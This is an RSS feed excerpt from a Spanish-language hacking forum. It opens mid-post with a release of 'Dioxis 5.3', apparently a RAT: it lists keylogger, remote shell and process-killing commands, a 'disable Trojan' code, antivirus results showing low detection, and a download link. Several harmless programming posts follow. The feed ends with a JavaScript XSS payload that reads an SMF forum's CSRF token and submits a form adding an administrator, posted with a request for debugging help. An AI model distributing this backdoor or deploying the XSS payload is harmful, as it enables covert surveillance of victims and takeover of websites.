indetectar un poco<br /><br />Por si fuera poca la ayuda que se presta a los usuarios, en la pestaña de ayuda, dioxis trae una opcion, que es la del boton de sincronizar, que permite mediante una redireccion a una pagina, saber si tu dioxis esta escuchando hacia el exterior o no, lo que hace este script es tomar tu direccion ip, el puerto por donde escuchas con el dioxis y hacer un envio de un paquete especial hacia el cliente, si se consigue conectar con el cliente es que tu conexion es satisfactoria, sino te tocara cacharrear con lso firewalls y servidores virtuales de tu enrutador<br /><br />La interfaz nueva trae una herramienta de jerarquia simple, la cual te dice si estas escuchando, cerrado o coenctado con una maquina remota, todo un lujo<br /><br />La interfaz de creacion del server trae una ayuda para el usuario tambien, asi como consejos que te ayudaran a que tu server este en perfecto estado<br /><br />Bien, como ya os dije, se volvio a reescribir el codigo, el protocolo se cambio y ahora gira en torno a paquetes de 3 digitos numericos, el protocolo viene adjunto en el rar y os lo dejo a continuacion tambien, por si alguien usa el dioxis por terminal como yo<br /><br /><center class="bbcode"><span style="color:red"><b>UNA NOTA A TENER EN CUENTA, ES QUE EN ESTA VERSION SE HAN QUITADO FUNCIONES MUY &quot;CRACKER&quot; QUE TENIA LA VERSION DE ABRIL NEGRO, YA QUE EL OBJETIVO NO ES CAUSAR DAÑOS COMO VEIS EN ESTA VERSION, AUNQUE CON IMAGINACION, QUE NO HACE FALTA MUCHA SE PUEDE<br /><br />LA SEGUNDA NOTA ES QUE POR MEDIO DEL PAQUETE MAGICO &quot;0-0&quot; POR AMBOS LADOS, AL RECIBIR ESTE PAQUETE, EL HOST REMOTO SE APAGARA, POR MEDIDAS DE SEGURIDAD</b></span></center><br /><br /><center class="bbcode"><span style="font-size:16pt"><b>Funciones:</b></span></center><br /><br />* Terminal Remoto<br />* Chat Remoto<br />* Clipboard Remoto<br />* Keylogger<br />* Visor de Procesos<br />* Creación de Archivos Remotos<br />* Edición de nick y descripción<br />___________________________________________<br /><br /><center class="bbcode"><span style="font-size:16pt"><b>Comprueba tu Dioxis 5.3</b></span></center><br /><br />La nueva funcion para poder comprobar tu dioxis, si esta bien configurado para salir al exterior, usa un simple script para conectarse a dioxis por el puerto especificado, aqui os dejo el script<br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span>
&nbsp;
<span class="re0">$puerto_remoto</span> <span class="sy0">=</span> <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'puerto'</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
<span class="re0">$ip</span> <span class="sy0">=</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REMOTE_ADDR'</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
<span class="sy1">?&gt;</span>
&nbsp;
&lt;html&gt;
	&lt;head&gt;
		&lt;title&gt;Comprueba tu Dioxis&lt;/title&gt;
	&lt;/head&gt;
&nbsp;
	&lt;body style=&quot;background:url(imagenes/fondo.jpg);&quot;&gt;
&nbsp;
	<span class="kw2">&lt;?php</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$ip</span><span class="br0">&#41;</span><span class="sy0">!=</span><span class="st0">&quot;&quot;</span> <span class="sy0">&amp;&amp;</span> <a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$puerto_remoto</span><span class="br0">&#41;</span> <span class="sy0">!=</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
	<span class="sy0">@</span><span class="re0">$conexion</span><span class="sy0">=</span> <a href="http://www.php.net/fsockopen"><span class="kw3">fsockopen</span></a> <span class="br0">&#40;</span><span class="re0">$ip</span><span class="sy0">,</span> <span class="re0">$puerto_remoto</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$conexion</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
		<a href="http://www.php.net/fputs"><span class="kw3">fputs</span></a><span class="br0">&#40;</span><span class="re0">$conexion</span><span class="sy0">,</span><span class="st0">&quot;636ON&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
		<a href="http://www.php.net/fclose"><span class="kw3">fclose</span></a> <span class="br0">&#40;</span><span class="re0">$conexion</span><span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="kw1">echo</span> <span class="st0">&quot;&lt;table width=100% height=90% align=center&gt;
						&lt;td valign=middle align=center&gt;
							&lt;img src=imagenes/conexion.png&gt;
							&lt;br&gt;
							&lt;img src=imagenes/evomon.png&gt;
						&lt;/td&gt;
					&lt;/table&gt;&quot;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
		<span class="kw1">echo</span> <span class="st0">&quot;&lt;table width=100% height=90% align=center&gt;
						&lt;td valign=middle align=center&gt;
							&lt;img src=imagenes/noconex.png&gt;
						&lt;/td&gt;
					&lt;/table&gt;&quot;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span><span class="br0">&#125;</span>
&nbsp;
	<span class="kw1">echo</span> <span class="st0">&quot;&lt;b&gt;Peticion realizada a traves de la IP: &lt;/b&gt;&quot;</span> <span class="sy0">.</span><span class="re0">$ip</span><span class="sy0">;</span>
<span class="sy1">?&gt;</span>
&nbsp;
	&lt;/body&gt;
&lt;/html&gt;</pre><br />la direccion de comprobacion es esta http://50l3r-labs.skimdoo.com/Dioxis/mi-ip.php?puerto=puerto donde puerto es el numero a comprobar, aun asi, dioxis te detecta el puerto a la escucha y ejecuta la pagina automaticamente, una prueba satisfactoria seria esta:<br /><br /><center class="bbcode"><img src="http://img256.imageshack.us/img256/5565/sinttulovm.png" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><span style="font-size:16pt"><b>Capturas:</b></span></center><br /><br /><center class="bbcode"><img src="http://img266.imageshack.us/img266/7775/30374.jpg" class="bbcode" border="0" /><br /><img src="http://img143.imageshack.us/img143/6629/29399.jpg" class="bbcode" border="0" /><br /><img src="http://img37.imageshack.us/img37/6610/25033.jpg" class="bbcode" border="0" /><br /><img src="http://img88.imageshack.us/img88/9637/24915.jpg" class="bbcode" border="0" /><br /><img src="http://img215.imageshack.us/img215/2461/22257.jpg" class="bbcode" border="0" /><br /><img src="http://img198.imageshack.us/img198/996/21966.jpg" class="bbcode" border="0" /><br /><img src="http://img46.imageshack.us/img46/1967/20398.jpg" class="bbcode" border="0" /><br /><img src="http://img228.imageshack.us/img228/4483/18591.jpg" class="bbcode" border="0" /><br /><img src="http://img153.imageshack.us/img153/4489/9806.jpg" class="bbcode" border="0" /><br /><img src="http://img571.imageshack.us/img571/6273/4262.jpg" class="bbcode" border="0" /></center><br /><br /><center class="bbcode"><span style="font-size:16pt"><b>Protocolo:</b></span></center><br /><br /><b>Server:</b><br /><b>001:</b> procesos<br /><b>002:</b> matar procesos<br /><b>005:</b> Refescar keylogger<br /><b>007:</b> Cerrar chat<br /><b>008:</b> Abrir chat<br /><b>011:</b> &lt;&lt;.&gt;&gt;RUTA&lt;&lt;.&gt;&gt;DATOS:Crear archivo<br /><b>012:</b> Desactivar Troyano para la siguiente sesion<br /><b>013GET-DESCRIPCION:</b> refrescar la descripcion de la maquina<br /><b>013GET-NICK:</b> refrescar el nick de la maquina<br /><b>013SET-DESCRIPCION&lt;&lt;.&gt;&gt;descripcion:</b> establecer descripcion<br /><b>013SET-NICK&lt;&lt;.&gt;&gt;nick:</b> establecer nick<br /><b>124:</b> recibir nick y descripcion, va seguido de 123<br /><br /><b>Cliente:</b><br /><b>003PROCESOS:</b> lista de procesos<br /><b>004PROCESO:</b> verificacion de matanza de proceso, :FALSE: si no se mato<br /><b>006:</b> Logs de teclas keylogger<br /><b>009:</b> Señal de chat abierto<br /><b>014GET-NICK&lt;&lt;.&gt;&gt;nick:</b> recibiendo nick<br /><b>014GET-DESCRIPCION&lt;&lt;.&gt;&gt;descripcion:</b> recibiendo descripcion<br /><b>015TEXTO:</b> Clipboard remoto<br /><br /><b>Ambos:</b><br /><b>123:</b> Establecer conexion<br /><b>010:</b> recibiendo mensaje chat<br /><b>333Shell:</b> Shell Remota<br /><b>0-0:</b> Apagando el ejecutable<br /><br /><br /><center class="bbcode"><span style="font-size:16pt"><b>Deteccion:</b></span></center><br /><br /><i>File Info</i><br /><br />Report date: 2010-05-31 00:24:16 (GMT 1)<br />File name: <b>Dioxis_5.3_by_50l3r.exe</b><br />File size: 1728525 bytes<br />MD5 Hash: 1db3914c1d2e070b2d399bc62fc8ff3d<br />SHA1 Hash: 7d10c9d82efed5ccb177f8588c75f3d2b1af3f4a<br />Detection rate: <span style="color:red">2</span> on 19 (<span style="color:red">11%</span>)<br />Status: <span style="color:red">INFECTED</span><br /><br /><i>Detections</i><br /><br />a-squared - -<br />Avast - -<br />AVG - -<br />Avira AntiVir - <span style="color:red">TR/Dropper.Gen</span><br />BitDefender - -<br />ClamAV - -<br />Comodo - -<br />Dr.Web - -<br />F-PROT6 - <span style="color:red">W32/VB-Backdoor-ESVR-based!Maximus</span><br />G-Data - -<br />Ikarus T3 - -<br />Kaspersky - -<br />NOD32 - -<br />Panda - -<br />Solo - -<br />TrendMicro - -<br />VBA32 - -<br />VirusBuster - -<br />Zoner - -<br /><br /><i>Scan report generated by<br /><a href="http://novirusthanks.org" target="_blank" rel="nofollow" >NoVirusThanks.org</a></i><br /><br /><center class="bbcode"><span style="font-size:12pt"><b>MANUAL SOBRE COMO CONFIGURAR EL SERVIDOR EN EL INTERIOR DEL RAR</b></span></center><br /><br /><a href="http://www.fileden.com/files/2008/3/2/1791774/Dioxis%205.3%20by%2050l3r.rar" target="_blank" rel="nofollow" ><img src="http://www.rogueamoeba.com/global/images/downloadIcon.png" class="bbcode" border="0" /></a>]]></description>
<dc:creator>50l3r</dc:creator>
<category>Programacion General</category><pubDate>Sun, 30 May 2010 21:09:51 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7276,7276#msg-7276</guid>
<title>C++ [(Revocar memoria) (?)] (3 replies)</title><link>https://foro.undersecurity.net/read.php?19,7276,7276#msg-7276</link><description><![CDATA[<b>Revocar memoria (?)</b><br /><pre class="bbcode">#include &lt;iostream&gt;
int lamada ()
{
using namespace std;
cout &lt;&lt; &quot;Int vale: &quot; &lt;&lt; sizeof(int)+sizeof(int) &lt;&lt;  &quot;bytes&quot; &lt;&lt; endl;
int a= sizeof(int);
int b= sizeof(int);
int c= sizeof(int);
int e= sizeof(int);
int f= sizeof(int);
int g= sizeof(int);
int h= sizeof(int);
int i= sizeof(int);
int j= sizeof(int);
int k= sizeof(int);
int l= sizeof(int);
int m= sizeof(int);
int n= sizeof(int);
int o= sizeof(int);
int p= sizeof(int);
int q= sizeof(int);
int r= sizeof(int);
int s= sizeof(int);
int t= sizeof(int);
int w= sizeof(int);
int u= sizeof(int);
int x= sizeof(int);
int y= sizeof(int);
int z= sizeof(int);
return (a+z);
}
int main ()
{
int lol = llamada(a,z);
return 0;
}</pre><br />Ese code no funciona pero ya se como hacerlo funcionar,<br />la cosa es que estoy buscando una idea de como llenar la memoria temporal;<br /><br />Es solamente curiosidad si hago esto por ejemplo<br /><pre class="bbcode">cout &lt;&lt; &quot;Test&quot; &lt;&lt; sizeof(int)+sizeof(int) &lt;&lt; &quot;bytes&quot;;</pre>
Eso me tiraria 8 bytez<br /><br />Suma ; Entonces si hago un bucle que llene la memoria podría serlo o no?<br /><br />Para el que lo quiera comprobar ;<br /><pre class="bbcode">#include &lt;iostream&gt;
int main ()
{
using namespace std;
cout &lt;&lt; &quot;Testing &quot; &lt;&lt; sizeof(int)+sizeof(int) &lt;&lt; &quot;bytes&quot; &lt;&lt; endl;
return 0;
}
~                                                                                                                                                                       
~     </pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sat, 05 Jun 2010 14:08:10 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7222,7222#msg-7222</guid>
<title>Algoritmos y diagramas de flujo aplicados en C++ (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7222,7222#msg-7222</link><description><![CDATA[<img src="http://2.bp.blogspot.com/_n0EM_zLV8hI/S-DbZAgHXsI/AAAAAAAAF0k/Q9hBYMQhLlM/s400/Algoritmos+y+diag.+de+fuljos+en+C.JPG" class="bbcode" border="0" /><br /><br /><pre class="bbcode">
Los algoritmos forman parte de nuestra vida cotidiana, a menudo los hacemos sin darnos cuenta. Por ejemplo al ir de compras, estamos pensando que cosas se necesitarán, hasta que precio estamos dispuestos a pagar, si no encontramos lo que buscamos podemos reemplazarlo?, cuanto tiempo tenemos para realizar las compras?, si no es tiempo suficiente que podemos hacer?.
En fin muchas interrogantes que intuitivamente vamos resolviendo mediante un algoritmo, es por ello que el algoritmo es una forma de resolver un problema. Se trata siempre que dicho algoritmo sea el mas eficiente.
Los algoritmos computacionales son diferentes, simplemente que estos están orientados a su códificación en algún lenguaje de programación específico.
Considero el C++ uno de los lenguajes de programación más adecuados para aprender y aplicar los conceptos básicos de algoritmia, motivo por el cual este texto contiene los algoritmos desarrollados en C++, para que el lector pueda revisarlo y ejecutarlos y porque no, modificarlo a su gusto.
A pesar de los años que tiene el C++, ha permanecido en vigencia debido a su potencia, pero, para que el lector pueda ver una forma de programación en un entorno visual, es que le ofrecemos también los mismos algoritmos desarrollados en C++ en este texto, desarrollados en Visual C#; lenguaje de programación basado en C++ en un entorno visual.
Notará que habrán algunas diferencias con respecto a la codificación en C++, pero si analiza profundamente el ejercicio vera que algoritmicamente son iguales, solo cambia la forma en que cada lenguaje de programación tiene para realizar algunas tareas.
Espero que este texto le sea de mucho provecho y ayude a entrar en el mundo de la programación.entados a su códificación en algún lenguaje de programación específico.
Considero el C++ uno de los lenguajes de programación más adecuados para aprender y aplicar los conceptos básicos de algoritmia, motivo por el cual este texto contiene los algoritmos desarrollados en C++, para que el lector pueda revisarlo y ejecutarlos y porque no, modificarlo a su gusto.
A pesar de los años que tiene el C++, ha permanecido en vigencia debido a su potencia, pero, para que el lector pueda ver una forma de programación en un entorno visual, es que le ofrecemos también los mismos algoritmos desarrollados en C++ en este texto, desarrollados en Visual C#; lenguaje de programación basado en C++ en un entorno visual.
Notará que habrán algunas diferencias con respecto a la codificación en C++, pero si analiza profundamente el ejercicio vera que algoritmicamente son iguales, solo cambia la forma en que cada lenguaje de programación tiene para realizar algunas tareas.</pre>
<a href="http://rapidshare.com/files/383635168/Algorit_con_C___By_Priale_.rar" target="_blank" rel="nofollow" >Download #1</a><br /><a href="http://ul.to/ca9560" target="_blank" rel="nofollow" >Download #2</a><br /><a href="http://librosdigitalesfree.blogspot.com/2010/05/algoritmos-y-diagramas-de-flujo.html" target="_blank" rel="nofollow" >Fuente</a>]]></description>
<dc:creator>OzX</dc:creator>
<category>Programacion General</category><pubDate>Fri, 21 May 2010 21:07:58 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7147,7147#msg-7147</guid>
<title>Libro de Kernighan &amp; Ritchie ? (6 replies)</title><link>https://foro.undersecurity.net/read.php?19,7147,7147#msg-7147</link><description><![CDATA[Buenas, estoy empezando a aprender programacion y quiero encontrar ese libro ( El Lenguaje de programación C - Kernighan &amp; Ritchie), pero lo unico que consegui (una y otra vez en distintos archivos y paginas U_u), es un pdf con el libro escaneado.. DE COSTADO! jua!. (Dios mio, ya ni escanear un libro sabe la gente :P jaja.)<br /><br />En fin, la cosa es que me interesa tenerlo pero no para matarme la vista y torcerme el cuello je, ya que estos que baje imposibles de leer.<br /><br />Alguno sabe donde puedo descargarlo?]]></description>
<dc:creator>Mitos</dc:creator>
<category>Programacion General</category><pubDate>Tue, 29 Jun 2010 13:31:54 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7033,7033#msg-7033</guid>
<title>Javascript: no me anda el .submit() (2 replies)</title><link>https://foro.undersecurity.net/read.php?19,7033,7033#msg-7033</link><description><![CDATA[<pre class="javascript bbcode_geshi"><div class="head">Language: Javascript</div>&lt;script&gt;
    alert(1);
    document.writeln('&lt;iframe id=&quot;iframe&quot; src=&quot;/smf/index.php?action=membergroups;sa=members;group=1&quot; width=&quot;0&quot; height=&quot;0&quot; onload=&quot;read()&quot;&gt;&lt;/iframe&gt;');
    function read()
    {
        var name = 'test';
        var token = document.getElementById(&quot;iframe&quot;).contentDocument.forms[1].sc.value;     
//        document.write('&lt;form action=&quot;http://localhost/smf/index.php?action=membergroups;sa=members;group=1&quot; method=&quot;post&quot; accept-charset=&quot;ISO-8859-1&quot;&gt; &lt;input type=&quot;text&quot; name=&quot;toAdd&quot; id=&quot;toAdd&quot; size=&quot;30&quot; value=&quot;&quot;/&gt; &lt;input type=&quot;submit&quot; name=&quot;add&quot; value=&quot;Add Members&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;sc&quot; value=&quot;&quot; /&gt; &lt;/form&gt;');
        document.write('&lt;form action=&quot;http://localhost/smf/index.php?action=membergroups;sa=members;group=1&quot; method=&quot;post&quot; accept-charset=&quot;ISO-8859-1&quot; id=&quot;kb&quot;&gt; &lt;input type=&quot;text&quot; name=&quot;toAdd&quot; id=&quot;toAdd&quot; size=&quot;30&quot; value=&quot;'+name+'&quot;/&gt; &lt;input type=&quot;submit&quot; id=&quot;xss&quot; name=&quot;add&quot; value=&quot;Add Members&quot; /&gt; &lt;input type=&quot;hidden&quot; name=&quot;sc&quot; value=&quot;'+token+'&quot; /&gt; &lt;/form&gt;');
        alert(2);
&nbsp;
//        alert(document.forms[0].xss.value);
        document.forms[0].xss.submit();
&nbsp;
        alert(3);
&nbsp;
    }   
&lt;/script&gt;</pre><br />Si, soy malisimo con js...<br /><br />estoy tratando de hacer un codigo para agregar un administrador en smf, asi que cargo el panel en un iframe, leo el token y escribo todo el formulario. Lo que me falta es enviarlo, y document.forms[0].xss.submit(); no funciona (pero es document.forms[0].xss, porque el alert de arriba, si lo descomentas, anda)<br /><br />los alerts son solo para debuggear<br /><br />alguien ve el error?]]></description>
<dc:creator>seth</dc:creator>
<category>Programacion General</category><pubDate>Fri, 16 Apr 2010 13:53:19 -0400</pubDate></item>
</channel>
</rss>